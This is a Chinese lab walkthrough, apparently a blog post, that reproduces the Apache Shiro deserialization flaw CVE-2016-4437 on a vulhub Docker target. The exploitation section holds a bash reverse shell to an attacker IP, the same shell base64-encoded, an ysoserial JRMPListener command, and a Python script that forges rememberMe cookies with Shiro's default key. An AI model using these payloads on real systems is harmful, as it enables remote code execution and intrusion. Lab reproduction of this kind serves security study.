shiro反序列化

1.环境搭建
一台kali,一台windows
kali换源

# 官方源
# deb http://http.kali.org/kali kali-rolling main non-free contrib
# deb-src http://http.kali.org/kali kali-rolling main non-free contrib
#根据需要自己选一个,中科大的还可以
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云
#deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#重庆大学
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib

进入/etc/apt目录
编辑sources.list文件命令如下

sudo vim sources.list

原有的源注释,添加其他源,这里用的是阿里的

 随后进行更新

apt-get update 更新索引

apt-get upgrade 更新软件

apt-get dist-upgrade 升级

apt-get clean 删除缓存包

apt-get autoclean 删除未安装的deb包
普通用户记得在命令前接上sudo

kali机安装docker命令如下

sudo apt install docker.io
root用户不用加sudo

安装docker-compose

sudo apt-get install docker-compose

安装靶场vulhub

git clone https://github.com/vulhub/vulhub.git

启动靶场环境

cd /vulhub/shiro/CVE-2016-4437
启动
docker-compose up -d
查看容器
docker ps
访问靶场,ip加端口访问

2.漏洞复现
复现过程
下载工具ysoserial-0.0.6-SNAPSHOT-all.jar
下载地址:https://github.com/Y4er/ysoserial?tab=readme-ov-file
使用以下命令看是否有错误


java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

 前往下方网址编译反弹命令

https://r0yanx.com/tools/java_exec_encode/
反弹命令
bash -i >& /dev/tcp/攻击ip/9998 0>&1
端口随意尽量别和后续操作的端口冲突,后续操作默认端口为9999

 使用下方命令启动ysoserial-0.0.6-SNAPSHOT-all.jar该工具的监听模块并且将编译命令加入,如下

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMzkvOTk5OCAwPiYx}|{base64,-d}|
{bash,-i}"

启动后样式

构建cookie内容然后生成payload
将以下代码放入新建的shiro.py,该文件与该工具ysoserial-0.0.6-SNAPSHOT-all.jar在一起,注意如果工具名修改,代码中的工具名也要修改,代码如下

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', '工具名', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

 使用python生成payload,命令如下

python shiro.py 攻击机ip:9999
这里的端口与之前的监听端口一致

生成后的样式(这里生成出来的是后续的payload)

可能会有报错情况,可使用以下命令

pip uninstall crypto pycryptodome(删除已有的pycryptodome)
pip install pycryptodome -i https://pypi.douban.com/simple(添加豆瓣源加速) 

针对的报错情形大概如下

 开启nc监听

前期完成,访问靶场,登陆,点击记住我

发送到repeater在cookie添加我们之前用python生成的payload记得把JSESSIONID=换成remrmberMe=(payload是上方工具生成自带记得隔开来)

弄好后即可发包

nc没有反应应该是有问题,不过JRMP有回显证明这里利用成功了

  • 41
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值